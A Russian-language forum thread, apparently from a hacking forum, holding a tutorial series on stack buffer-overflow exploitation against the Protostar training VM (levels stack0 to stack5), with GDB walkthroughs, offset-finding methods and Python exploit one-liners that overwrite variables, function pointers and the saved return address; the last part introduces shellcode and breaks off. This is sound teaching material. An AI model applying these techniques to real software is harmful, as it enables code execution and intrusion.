• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Разработка эксплойтов для самых маленьких. Изучаем основы бинарной эксплуатации на ОС Linux (VM Protostar)

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Часть 1 - Введение в переполнение буфера

Доброго времени суток. Решил написать цикл статей посвященный эксплуатации бинарных уязвимостей, в народе это называется чёрной магией. В сети есть куча статей и материалов на эту тему, а четкого пути так и не видно... Потому, что надо обладать огромным багажом знаний... Так как же научиться писать эксплойты? Находить 0дей уязвимости, обходить такие защиты, как DEP\ASLR ? Ответ прост нужна практика, практика и еще раз практика, чем мы с вами сейчас и займемся. Я буду вашим проводником.

В сети был такой учебный ресурс, как Exploit Exercises.

Exploit Exercises предлагает множество виртуальных машин, документацию и задачи, которые пригодятся в изучении повышения привилегий, анализа уязвимостей, разработки эксплойтов, отладки, реверс-инжиниринга и т.д.

Сейчас этот ресурс не доступен, так, как он переехал и доступен теперь по новому адресу.

Начнем мы свой путь в профессию Exploit-Developer с решения различных ExploitMe на образе Protostar. Этот образ хорош тем, что в нем вы изучите основы, азы, переполнения буфера, уязвимости форматирования строки, переполнение кучи... А так же в нем отключены защиты подобные DEP и ASLR, чтобы мы могли сконцентрироваться именно на изучении самих уязвимостей и их эксплуатации. Обходить защиты мы будем, но чуть позже, когда наберемся опыта, а пока, что будем качать наш с вами скилл.

И так перейдем к делу, качаем образ виртуальной машины и запускаем его на VirtualBox'e.

Логин и пароль "user"

Самое первое задание это стек0.

Описание ExploitMe
Этот уровень вводит в концепцию, что доступ к памяти может осуществляться за пределами выделенной области, как размещаются переменные стека, и что изменение за пределами выделенной памяти может изменить выполнение программы.

Переходим в каталог с заданием
cd /opt/protostar/bin/


Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
Решение
Тут всё стандартно, за исключением того, что в коде присутствует ключевое слово volatile. Сказал бы я, но... Рассмотрим более подробно, что представляет из себя переполнение буфера, что это за тип уязвимости такой... Поэтому начнем с разбора исходного кода программы.

Ключевое слово volatile информирует компилятор, что значение переменной может меняться извне. Это может произойти под управлением операционной системы, аппаратных средств или другого потока. Поскольку значение может измениться, компилятор каждый раз загружает его из памяти.

Посмотрим еще раз на исходный код программы, видим, что есть буфер в 64 байта, в этот буфер будет записана строка посредством функции gets().

Посмотрим описание функции.

Функция gets считывает строку из стандартного потока ввода (stdin) и помещает ее в массив указанный аргументом. Чтение строки производится пока не будет встречен символ «переход на новую строку», или не будет достигнут конец файла.

Если чтение строки завершилось по считыванию символа «переход на новую строку», то символ «переход на новую строку» не записывается в массив, а заменяется символом «конец строки»

Применение этой функции не рекомендуется, так как размер считываемой строки не ограничивается размером массива, в который должна быть записана считываемая строка. В результате может возникнуть переполнение массива и несанкционированная запись в память, что приведет к ошибкам в работе программы или ее зависанию.

Вернемся к исходному коду и посмотрим на условие в программе. Если переменная modified не равняется нулю тогда печатается текст «you have changed the ‘modified’ variable», иначе «Try again?».

Переменная modified установлена со значением ноль, поэтому всегда будет печататься текст «Try again?».

Если мы запустим программу и передадим, ей строку типа "ААААBBBCCCC" то ничего не произойдет, а если передадим строку большего размера, чем указано в буфере "...AAAABBBBCCCCDDDD" то мы перезапишем переменную. Посмотрите на диаграмму ниже. В памяти в стеке это будет выглядеть примерно так.

58e6396f46a9c548bf820.png


Исходя из того, что modified равен нулю, нам надо её изменить, что мы и сделаем. Используем буфер, функцию gets и volatile. Просто передадим в буфер строку не 64 байта, как положено, а 65, чтобы перезаписать значение переменной modified. Чтобы не вводить вручную данные, воспользуемся python’ом и перенаправим вывод в нашу программу.

python -c "print 'A' * 65" | ./stack0

Отлично, переменная перезаписана, а на экране отображается текст «you have changed the ‘modified’ variable», цель достигнута! Когда будете работать над очередным переполнением буфера, важно понимать, где и как находятся данные в стеке, поэтому вспоминайте эту диаграмму. В этом ExploitMe мы научились перезаписывать значение переменной, используя уязвимость переполнения буфера, теперь можно смело переходить на следующий уровень - stack1.


Видео:


 
Часть 2 - Введение в переполнение буфера

В предыдущей части мы научились перезаписывать значение переменной используя уязвимость переполнения буфера. Ну чтож скажу я, продолжим изучать эту уязвимость.

Описание ExploitMe
На этом уровне рассматривается концепция изменения переменных к конкретным значениям в программе и то, как переменные располагаются в памяти.

Этот уровень находится в / opt / protostar / bin / stack1

Переходить в каталог не нужно, так как мы сделали это в прошлый раз.

Stack1, VM

Советы
  • Если вы не знакомы с отображаемым шестнадцатеричным числом, «man ascii» — ваш друг.
  • little endian
Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Решение
В этом примере у нас так же есть буфер на 64 байта, присутствует ключевое слово volatile, но при этом тут нет теперь функции gets(), а в место неё есть функция strcpy().

Посмотрим описании функции.

Функция strcpy (destination, source) копирует данные из строки, на которую указывает аргумент source, в строку, на которую указывает аргумент destination, пока не встретится символ конца строки (нулевой символ). Копирование производится вместе с символом конца строки. Если строки перекрываются, результат копирования будет не определен.

Посмотрим на второе условие в программе, если переменная modified равняется значению «0x61626364», тогда печатается текст «you have correctly got the variable to the right value» иначе «Try again, you got 0x%08x», плюс указывается значение переменной modified в шестнадцатеричной системе счисления. Поскольку в программе, есть еще одно условие где используется аргумент argc. Запустить питон код, как в прошлой программе не получится. Воспользуемся BASH для подстановки значения, чтобы использовать наш вывод, в качестве аргумента.

Последовательность команд будет следующей.

./stack1 $(python -c "print 'a' * 65")

В итоге мы получим следующий текст на экране «Try again, you got 0x00000061», как видим переменная modified приняло текущее значение. Мы писали в буфер последовательность букв из «aaaa…», из них 64 байта пошли в буфер, последним перезаписали значение переменной modified. Стало быть modified равняется ‘a’. Посмотрим чему равно ‘a’ в хексе, воспользуемся man ascii. И видим, что ‘a’ равняется значению 0x61. Теперь еще раз взглянем на значение во втором условии «0x61626364», значит остальные числа в значении это «bcd», а всё вместе «abcd».

Пробуем эксплуатировать, передадим 64 байта в буфер и еще 4 байта для перезаписи значения переменной modified.

./stack1 $(python -c "print 'a' * 64 + 'abcd' ")

Получаем строку «Try again, you got 0x64636261» , хм, что-то пошло не так и строка записалась в перевёрнутом виде. Почему? Если погуглить, то можно узнать о такой вещи, как little endian, т.е. в памяти, числа перевёрнутые. Значит делаем реверс строки и эксплуатируем уязвимость переполнения буфера в функции strcpy().

./stack1 $(python -c "print 'a' * 64 + 'abcd'[::-1]")

Отлично, переменная перезаписана, а на экране отображается текст «you have correctly got the variable to the right value» цель достигнута!
Если в прошлом ExploitMe нашей задачей было просто изменить значение переменной, то в этой задаче мы научились устанавливать нужное нам значение для конкретной переменной используя уязвимость переполнения буфера. Теперь переходим на следующий уровень stack2.
 
Часть 3 - Введение в переполнение буфера

В предыдущей части мы научились перезаписывать значение переменной к конкретному значению, используя уязвимость переполнения буфера. Не будем останавливаться на достигнутом, двигаемся дальше...

Описание ExploitMe
Stack2 смотрит на переменные окружения, и как они могут быть использованы.

Этот уровень находится в / opt / protostar / bin / stack2

Stack2, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}
Решение
Здесь у нас всё тоже самое, единственное, что здесь новое эта функция getenv(). Посмотрим описание функции.

Функция getenv() возвращает указатель на информацию об окружении, ассоциированную со строкой name в таблице информации окружения.

Окружение программы может включать такие вещи, как имена путей и устройств. Точное содержание этих данных определяется операционной системой.

Если функция вызвана с аргументом, который не соответствует никаким переменным окружения, то возвращается нулевой указатель.

И так нам нужно перезаписать значение переменной modified со значением «0x0d0a0d0a». Чтобы это сделать нам надо опять переполнить буфер, но на этот раз переполнение буфера будет происходить через переменную окружения GREENIE. Кстати говоря, если заглянуть в «man ascii» , то мы не найдем там «0x0d0a0d0a», значения этих байтов, если погуглить можно понять из значения "0x0d0a0d0a", что 0x0d — это '\r' символ возврата каретки, а 0x0a — символ новой строки '\n'. И все таки эти байты, что-то да значат, как оказалось это спец.символы. Посмотреть их все, можно тут в ascii-table. Это наиболее полная таблица.

И так установим переменную окружения GREENIE поэтому воспользуемся командой export .
Код:
export GREENIE=test
Проверяем
Код:
env

XSNkqaY.png



Как видно из списка переменных окружения, переменная GREENIE появилась в списке со значение "test". Отлично теперь можно переходить к формированию наших "вредоносных" данных.

Для этого будем использовать всё так же питон. Как я говорил выше, переполнение будет происходить, через переменную окружения, поэтому нам нужно установить GREENIE c нужным нам значением, а именно, нам надо так же 64 байта для заполнения буфера, а следующие байты будут перезаписывать значение переменной. Чтобы это сделать воспользуемся апострофами и заключим между ними наше выражение на питоне.
Код:
GREENIE=`python -c "print 'a' *64 + '\x0d\x0a\x0d\x0a'[::-1]"`
Проверим нашу "боевую" нагрузку
Код:
env
И посмотрим

kygQRa5.png


Все готово. Как нам видно из среды переменных окружения, байты под буфер и те байты возврата каретки и перехода на новую строку успешно добавлены. Теперь можно запустить саму программу, чтобы запустить процесс эксплуатации уязвимости. Так, как при запуске программы, она воспользуется переменной окружения GREENIE и съест нашу ядовитую строку.
Код:
./stack2

Отлично на экране мы видим текст «you have correctly modified the variable», цель достигнута. В этом упражнение мы узнали, что для эксплуатации уязвимости может быть задействована среда переменных окружения, переходим на следующий уровень — stack3. Дальше будет еще веселее!!!

Автор: fuzzz
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
А видео не от автора, к чему их ты добавил tabac ))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тут по-лучше будут туториалы. В этих как-то все слишком за шиворот натянуто


Это два разный туториала, их сравнивать нельзя. Один на платформе Windows другой на платформе Linux. Второй туториал еще даже не дописан. И поэтому судить, лучше он или хуже нельзя. Образ Protostar как раз вводит концепцию основ.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это два разный туториала, их сравнивать нельзя. Один на платформе Windows другой на платформе Linux. Второй туториал еще даже не дописан. И поэтому судить, лучше он или хуже нельзя. Образ Protostar как раз вводит концепцию основ.
Защиты от эксплойтинга в студийном компайлере и gcc довольно похожи. Стэковые куки и все такое. Роп цепочки и там и там для обхода юзают, отличие лишь в библиотеках. Имхо юзерленд сплойты что под линь, что под винду не сильно отличаются. Кернел - да, там сильные отличия.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Защиты от эксплойтинга в студийном компайлере и gcc довольно похожи. Стэковые куки и все такое. Роп цепочки и там и там для обхода юзают, отличие лишь в библиотеках. Имхо юзерленд сплойты что под линь, что под винду не сильно отличаются. Кернел - да, там сильные отличия.
Ты прав, но я хотел своими словами сказать лишь то, что в Linux это сделать проще. Изучить вот это всё, особенно учитывая системные вызовы =)
 
Часть 4 - Введение в переполнение буфера

В этой статье мы познакомимся с новым принципом при переполнение буфера и немного поиграем с адресами памяти. Поехали!!!

Описание ExploitMe
Stack3 рассматривает переменные среды и способы их установки, а также перезапись указателей функций, хранящихся в стеке (в качестве прелюдии к перезаписи сохраненного EIP)

Советы

  • и gdb и objdump — ваши друзья, вы определяете где функция win () находится в памяти.
Этот уровень находится в / opt / protostar / bin / stack3

Stack3, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Решение
Рассмотрим код программы, значит у нас так же есть volatile, есть функция gets(), есть буфер на 64 байта, и есть указатель (*fp)() на не существующую функцию и есть функция которая никогда не будет вызвана win().

Исходя из этого нам нужно, каким-то образом сделать так, чтобы функция win() отработала, т.е. её надо как-то вызвать. Вопрос, как это сделать ??? А сделать это можно следующим способом. В нашей программе ведь есть уязвимость переполнения буфера, потому, как присутствует опасная функция gets(). И вся суть задачи сводится к тому, что нам нужно перезаписать теперь не значение переменной, а указатель на функцию. При вызове fp, указатель будет вызывать любой адрес памяти, расположенный в пределах fp, если он не равен нулю.

Указатель fp является локальной переменной и если мы переполним буфер, мы можем потенциально изменить значение fp, так как он находится в том же кадре стека. Условный оператор if проверяет, что fp не равен нулю. Если это так, он вызовет указатель функции fp на любой адрес памяти, сохраненный в нем.

Для того, чтобы это сделать, нам надо узнать адрес функции win(), сделать это можно двумя способами, через отладчик GDB или же через программу Objdump, которая позволяет просмотреть информацию об объектных файлах.

Рассмотрим первый вариант и запустим программу под отладчиком GDB, чтобы заглянуть под капот программы.
Код:
gdb -q ./stack3
Далее дизассемблируем функцию win() чтобы получить её адрес.
Код:
disassemble win

6pToYl2.png


И видим, что функция win() находится в памяти по адресу "0x08048424".

Отлично адрес получен. Теперь перейдем к способу номер два, но с начало выйдем из отладчика GDB, командой quit После чего запускаем objdump с такими параметрами.
Код:
objdump -d stack3 | grep win

vhne5CM.png


И видим, что адрес функции win() опять получен и он не чем не отличается. Кстати говоря, если просто запустить objdump без утилиты grep, то мы получим полное ассемблерное полотно всей программы, что не очень удобно в данном случае, поэтому мы поступили именно так, чтобы получить конкретный адрес интересующей нас функции.

Вот и всё, это было довольно таки просто, адрес 08048424 у нас есть, теперь перейдем к эксплуатации уязвимости переполнение буфера, чтобы перезаписать указатель *fp на функцию win(). Будем все так же использовать питон.
Код:
python -c "print 'a' * 64 + '\x08\x04\x84\x24'[::-1]" | ./stack3

После чего на экране появится две строчки «calling function pointer, jumping to 0x08048424» и «code flow successfully changed». Первая строчка означает, что мы перезаписали адрес указателя на функцию, а вторая означает, что можно переходить на следующий уровень stack4.

Автор: fuzzz
 
Последнее редактирование модератором:
Часть 5 - Введение в переполнение буфера

В этой статье мы продолжим изучать переполнение буфера, рассмотрим еще один вариант как можно перезаписать указатель на функцию, а так же поговорим с вами о памяти компьютера и освоим с вами отладчик GDB. И так...

Память, локальные переменные, аргументы и стек
До сегодняшнего момента я вам наглым образом ничего не рассказывал о памяти и работе процессора, настало время истины... Когда запускается программа, она загружается в память компьютера со всеми данными, всеми библиотеками и со всеми командами которые выполняет сама программа. И когда это произошло нет не какого отличия по сути между данными и командами. Если открыть к примеру программу в отладчике, то можно в этом убедится. Мы увидим там не код программы на языке высокого уровня, а код на ассемблере, который приближён к машинному коду 101110 единицам и нуля. К слову вся память она делится на регионы - области. В какой то части хранятся, команды, данные, переменные... И в низу самом низу памяти находится куча и стек.

Это две основные области памяти для работы программы.

Куча (heap) используется для динамического выделения памяти, например под какой нибудь большой массив...
А стек (stack) для хранения в основном аргументов функций и локальных переменных.

Когда вы компилируете программу она сначала перегоняется в object файл, а затем в машинный код и собственно процессор выполняет этот код. Для работы процессор использует регистры, всего их 8 штук. Он постоянно ими оперирует перегоняя данные из одного регистра в другой, меняет их местами и так далее. К слову регистр - это такое устройство, которое хранит в себе некоторую информацию.

Есть три основных регистра которые используются при работе.
  • Регистр EIP - указывает на адрес в памяти, какая инструкция (команда) должна выполнится следующей.
  • Регистр ESP - указывает на вершину стека (адрес в памяти).
  • Регистр EBP - указывает на стековый фрейм (как переменные и аргументы располагаются в памяти).
Эти регистры надо запомнить!!! Надо еще сказать, что это регистры x86-архитектуры процессора, так, как образ Protostar - 32 битная система. Теперь поговорим о стеке и именно на нем очень многое завязано как и на куче.

Как я и сказал выше стек это область памяти и он обрабатывается особым образом.

К примеру у нас есть такой код
C:
#include <stdio.h>
#include <string.h>

int main(){
    char overflow[] = "AAAAAAAAAA";
    char buffer[8];
    strcpy(buffer,overflow);
    return 0;
}
И когда это всё переходит в машинный код, вызов функций выглядит следующим образом, т.е. когда программа дает возможность действовать подпрограмме. Простым языком, когда главная функция main() разрешает выполнится функции strcpy() или любой другой функции (подпрограмме). Так вот вызов функций будет выглядеть следующим образом.

В стек с начало попадают аргументы функций, аргументы справа налево.

В нашем случае в программе выше с начало в стек попадет overflow затем, buffer.

Далее... Сохраняется место для адреса инструкции (команды), или вернее сказать адрес инструкции (команды) куда вернется работа программы, после того как функция выполнится. Простым языком это когда функция отработала она передает управление от куда ее вызвали. (Return address).

После чего кладется в стек EBP для того, чтобы программе было удобно перегонять (жонглировать) локальные переменные и аргументы функций.

Локальные переменные и аргументы функций записываются относительно регистра EBP, локальная переменная которая лежит выше это EBP-4 еще выше это EBP-8 (уменьшается еще на 4) Если обращаться к аргументам это +8 +16 зависимости от размера... Дополнительно почитать о стеке можно тут.

Теперь говорим об отладчике GDB.

GDB - основные команды для отладки программ

Когда вы запускается программу под отладчиком, первое, что надо сделать это установить вывод ассемблерных команд в формате Intel, по умолчанию GDB использует синтаксис AT&T.

Для того чтобы это сделать надо выполнить в отладчике следующее...
Код:
set disassemly intel

Чем отличается синтаксис AT&T от Intel'a ?

8h8EJMM.png


А отличается AT&T от Intel'a, тем, что в синтаксисе AT&T есть такие знаки, как процент и знак доллара. По этим признакам вы его всегда узнаете, в то время, как синтаксисе Intel этого нет.

Рассмотрим не большой пример на основе команды mov. Эта команда пересылает данные.

К тому же синтаксис AT&T для команды mov будет следующий
Код:
mov <источник>, <назначение>
В то время как у Intel'a
Код:
mov <назначение>, <источник>
Вы можете использовать любой из них, но я советую вам использовать синтаксис Intel, хоть команды наоборот, но он более понятный.

Если вы закроете отладчик, и заново его потом запустите, то вы опять увидите синтаксис AT&T и та настройка синтаксиса действует только на время отладки текущей программы. Если вы не хотите постоянно вводить данную опцию для отображения, то можно поместить в корневой каталог такой файл.

Значит последовательность действий будет следующей
Код:
nano ~/.gdbinit

пишем текст: set disassembly-flavor intel

Затем нажимаем F2, Y, Enter.

После чего при каждом старте GDB будут выполнены все команды, которые находятся в файле .gdbinit

Теперь рассмотрим основные команды для GDB... но на самом деле их очень много, поэтому только основные на данный момент.

run - запуск программы под отладчиком (сокр. команды - r)

stepi - команда выполнит ровно одну инструкцию процессора и остановится на следующей.

nexti выполнит тоже одну инструкцию но перепрыгнет, если следующая инструкция будет подпрограмой - функцией (call)
Т.е. зайти внутрь функции (stepi) или же перейти к следующей команде (nexti)

break main - команда break устанавливает точку останова на указанном месте, и при выполнение программы под отладчиком, программа остановится в указанном месте (сокр. команды - b), в данном примере точка останова установлена на функции main().

b main.c:7 - точка останова установлена используя исходник программы на строчке 7. Удобно в том, случае когда ваша программа скомпилирована с флагом -g. (gcc -g main.c -o main)

b *0x40056d - точка останова по указанному адресу в памяти, с начало пишется звездочка потом сразу адрес в памяти.

continue - команда для продолжения выполнения программы после того, как вы установили точку останова (сокр. команды - с)

info breakpoints - покажет информацию об всех установленных точках останова (сокр. команды - i b)

disable 1 - команда убирает первую точку останова

info registers - команда покажет информацию об регистрах и их значениях в текущем их времени (сокр. команды - i r)

info register $eip -команда покажет информацию об конкретном регистре, в данном случае о EIP (сокр. команды - i r $eip)

disassemble - команда дизассемблирует инструкции в текущей функции, например если мы находимся main то получим листинг ассемблерных команд этой функции. (сокр. команды - disas). Но обычно так не используют, а пишут эту команду с конкретным названием функции.

например disas win, как мы это делали в предыдущей статье.

Теперь рассмотрим как посмотреть значения ячеек памяти

x 0x400634 команда х позволяет заглянуть в ячейку памяти по указанному адресу.

И по умолчанию выводит 4 байтовое значение, т.е. 4 байта памяти, а значение ячейки выводится в шестнадцатеричной системе счисления.
*** 0x400634: 0x000a6425

Если надо вывести большее значение памяти не 4 , а 8 байт, то тогда
x/2 0x400634
*** 0x400634: 0x000a6425 0x3b031b01

Если не устраивает вывод значения в шестнадцатеричном формате, можно вывести значение по адресу в десятичном форме.

x/2d 0x400634 - что означает покажи мне по такому адресу два целых 4 байтовых числа

вывод вещественных чисел (чисел с запятой )
x/2f 0x400634

Собственно формат вывода может любым
x/o <адрес или $регистр> - восьмеричная
x/x - шестнадцатеричная
x/d - десятичная
x/u - десятичная без знаковая
x/t - двоичная
x/c - символьная

Выводит один байт в шестнадцатеричном значение по этому адресу
x/1xb 0x400634

Вывести 4 однобайтовых символа по адресу
x/4cb 0x400634

b байт
h полуслово (два байта)
w слово (четыре байта)
g двойное слово (восемь байтов)

Команды связанные с командой "x" это основные команды для изучения памяти и то как программа работает для эксплойтинга.

finish - команда завершения отладки
quit - выход из отладчика

Теперь приступим к решению нашего ExploitMe!!!


Описание ExploitMe
Stack4 рассматривает перезапись сохраненного EIP и стандартное переполнение буфера.

Этот уровень находится в / opt / protostar / bin / stack4

Stack4, VM

Советы
  • Может помочь множество вводных статей о переполнении буфера.
  • GDB позволяет вам «run < input»
  • EIP находится не сразу после конца буфера, заполнение компилятором также может увеличить размер.
Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Решение
Здесь всё практически тоже самое аналогично предыдущему уровню, за исключением того, что тут нет указателя на не существующую функцию. Возникает вопрос каким образом теперь мы будем вызывать функцию win() ? Ведь у нас нету локальной переменной, в том же кадре стека, как это было с указателем в прошлый раз. Посмотрим еще раз описание нашего ExploitMe и подсказку... Там говорится о регистре EIP...

Исходя из этого будем значит работать с отладчиком GDB и регистром EIP.

К слову о том, что представляет собой этот регистр.

Регистр EIP — служебный регистр. Указывает на текущую исполняемую инструкцию процессора.

Запись в этот регистр командами перемещения данных невозможна. Этот регистр изменяет сам процессор при переходе на следующую команду, или программист инструкциями перехода, вызова процедур и командами организации цикла.

Регистр EIP имеет разрядность 32 бита. К 16-ти младшим битам регистра можно обратиться по имени IP.

Одним из наиболее распространенных способом изменения значения регистра EIP является запись в стек значения и выполнения команды RET. При выполнении этой команды процессор перейдет на инструкцию, расположенную по указанному адресу.

Из текста выше можно понять, что для того чтобы подсунуть в регистр EIP нужный нам адрес, а именно адрес функции win(), нам надо переполнить буфер таким образом, чтобы перезаписать адрес возврата (RET) основной функции, т.е. main(). Когда программа или функция завершает выполнение, она должна вернуться к тому, что ее вызвало. Этот адрес хранится в стеке в начале кадра. Пожалуй приступим.

Запустим программу под GDB
Код:
gdb -q ./stack4

Вычислим адрес функции win()
Код:
disas win

CuEIqlh.png


Функция win() находится по адресу 0x080483f4, теперь нам надо переполнить буфер, таким образом, чтобы получить ошибку сегментации памяти - «Segmentation fault». Эта ошибка будет обозначать, то, что мы перезаписали регистр EIP. Поэтому мы будем увеличивать на 4 байта каждый раз, поскольку EIP занимает четыре байта (32 бита). Метод не очень хорош но воспользуемся именно им, затем попробуем другой метод.

Значит выходим из отладчика (quit) и запускаем несколько команд...
Код:
python -c "print '\x41' * 64" | ./stack4
python -c "print '\x41' * 68" | ./stack4
python -c "print '\x41' * 72" | ./stack4
python -c "print '\x41' * 76" | ./stack4

Отлично мы получили ошибку «Segmentation fault».

Рассмотрим способ номер два. Создадим файл
Код:
nano ~/offset_eip.txt
Далее запишем в него такую последовательность букв алфавита
Код:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Выйдем и сохраним F2,y,enter.

Теперь откроем нашу программу под отладчиком.
Код:
gdb -q ./stack4
затем запустить нашу программу и перенаправим вывод из созданного нами файла в нашу программу.
Код:
run < ~/offset_eip.txt

UDmYcE8.png


И видим ошибку сегментации. Что программа пыталась обратиться к несуществующей функции по адресу 0x54545454.
Теперь посмотрим значение регистров
Код:
info registers

VPh7Ygn.png


И видим, что по мимо регистра EIP так же перезаписалось значение регистра EBP. Теперь узнаем и посмотрим чему равно значение "0x54". В ASCII коде это значение равняется букве "T", стало быть 4 байта из букв "T", это то значение которое перезаписывает EIP. А так, как в нашем текстовом документе строка составляет алфавит, буква T это 20 буква по счету, то нам нужна 19 буква алфавита. Буква "S" как раз таки и ровняется значению 0x53, о чем свидетельствует регистр EBP. Ну , а по сколько в строке было по 4 одинаковых буквы, то смещение это 19 * 4 = 76 байт. Вот и все таким образом мы опять вычислили смещение.

Теперь рассмотрим третий вариант, на этом варианте мы по сути должны воспользоваться Metasploit'ом, а точнее говоря двумя модулями pattern_create.rb и pattern_offset.rb. Первый модуль нужен для генерации уникальной мусорной строки, а второй для вычисления адреса смещения. И весь алгоритм действий сводится к тому, что мы с генерировали бы уникальную мусорную строку для буфера превышающую его в два раза. Т.е. 64 * 2 = 128 , скормили бы нашу строку под отладчиком для нашей программы, получили бы адрес, а затем с помощью модуля оффесетов подставили бы полученный адрес, который выплюнул нам отладчик, а на выходе мы бы получили число на ск байт произошло смещение. Вот к примеру онлайн-сервис он делает тоже самое, что и данные модули msf.

По сути, даже метасплойт не нужен...

5hsCpGB.png


Теперь мы можем сказать, что 80 байт это та область, которая перезаписывает EIP, поэтому нам понадобится 76 байтов мусора и адрес функции win(), который мы уже знаем.

Перейдем к эксплуатации уязвимости.

Код:
python -c "print '\x41' * 76 + '\x08\x04\x83\xf4'[::-1]" | ./stack4

Вот и всё на экране отобразились две строки «code flow successfully changed» и «Segmentation fault» можно переходить на следующий уровень stack5.


Автор: fuzzz
 
Последнее редактирование модератором:
Часть 6 - Введение в переполнение буфера

В предыдущей статье мы познакомились с методом, как перезаписывать адрес возврата используя регистр EIP и так же вычисляли смещение (offset).
Это 6 часть цикла статей посвященная разработке эксплойтов. В этой статье мы впервые познакомимся с шеллкодом и напишем с вами первый эксплойт. Шестая часть, шеллкод, черная магия... Совпадение ? Не думаю. Поехали...

Ремарка

Начиная с этого момента нам будет не очень удобно работать напрямую с VM, т.е. взаимодействовать с ней. Особенно это касается копирование данных. Или когда нам надо запустить два окна сразу... Чтобы это исправить теперь мы будем не просто запускать VM и работать с ней, а теперь мы будем подключаться к VM по SSH используя клиент Putty. Для того, чтобы это сделать, надо в настройках VM в разделе "Сеть" включить виртуальный хост адаптера. После чего запустить VM, дальше выполнить команду
Код:
/sbin/ifconfig
Затем посмотрев IP-адрес машины (192.168.56.101) подключиться с помощью клиента Putty.

Описание ExploitMe

Stack5 - это стандартное переполнение буфера, на этот раз вводим шелл-код.

Этот уровень находится в / opt / protostar / bin / stack5

Советы

  • На данный момент может быть проще использовать кто-то другой шеллкод
  • При отладке шелл-кода используйте \ xcc (int3), чтобы остановить выполнение программы и вернуться к отладчику.
  • удалите int3s, как только ваш шеллкод будет готов.
Stack5, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Решение

Данный нам код уязвимой программы уже нам знаком, мы встречались уже с ним в stack4, единственное отличие здесь нет функции win(). Цель этого задания выполнить шеллкод. И так поговорим с вами о том, что такое шеллкод, что это такое и с чем его едят.

Шеллкод - это двоичный исполняемый код, его так же называют частенько Payload'ом - боевой нагрузкой, так же шеллкод является неотъемлемой частью эксплойта. Целью шеллкода является выполнение каких-то действий, при чем самых разнообразных, эти действия закодированы в самом шеллкоде, т.е сам шеллкод если говорить простым языком это набор команд (инструкций).

Существует множество различных шеллкод'ов...

Например, шеллкод который запускает командную оболочку '/bin/sh' или 'cmd' или шеллкод, который скачает файл по URL и затем его выполнит, или же шеллкод который открывает TCP-порт, через который будет осуществляться дальнейший доступ к командной оболочке, или же шеллкод который запускает какую-то определенную программу, например калькулятор. Простым языком шеллкод, это код любой наш код, который мы хотим выполнить.

Собственно шеллкод может быть разного размера и написан под разные задачи в зависимости от преследуемой цели. Т.е. шеллкод который выполняет больше действий соответственно будет большего размера и наоборот. Теперь когда нам более менее понятно, что такое шеллкод в общих чертах, посмотрим, как он выглядит.

А выглядит он так...
Код:
  \x31\xC0\xB9\x46\x24\x80\x7C\x66\xB8\x90\x5F\x50\xFF\xD1
.е. как цепочка последовательности определенных байтов...

Что касается нашего ExploitMe. Шеллкод нам надо будет внедрить в память нашей уязвимой программы, после чего нам надо будет передать управление на шеллкод при переполнении буфера. Передача управления шеллкоду осуществляется перезаписью адреса возврата (RET) в стеке, адресом внедрённого шеллкода. Это классический метод исполнения шеллкода при написании эксплойтов.

Так, как, это первое знакомство с шеллкодом, будем использовать шеллкод, который запустит нам командную оболочку '/bin/sh'. Собственно это и есть цель нашего задания...

Получается эксплуатация уязвимой программы будет выглядеть следующем образом.

Мусорная строка + адрес шеллкода + сам шеллкод. Результатом этого будет выполнение нашего шеллкода, который откроет командную оболочку.

И так, пожалуй приступим. Начнем с вычисления смещения - offset. Будем использовать метод аналогичный методу с Metasploit, поэтому переходим на этот сайт.

Далее создадим файл в домашней директории.
Код:
        nano ~/offset.txt
И скопируем 200 байт, уникальной мусорной строки в него.
Код:
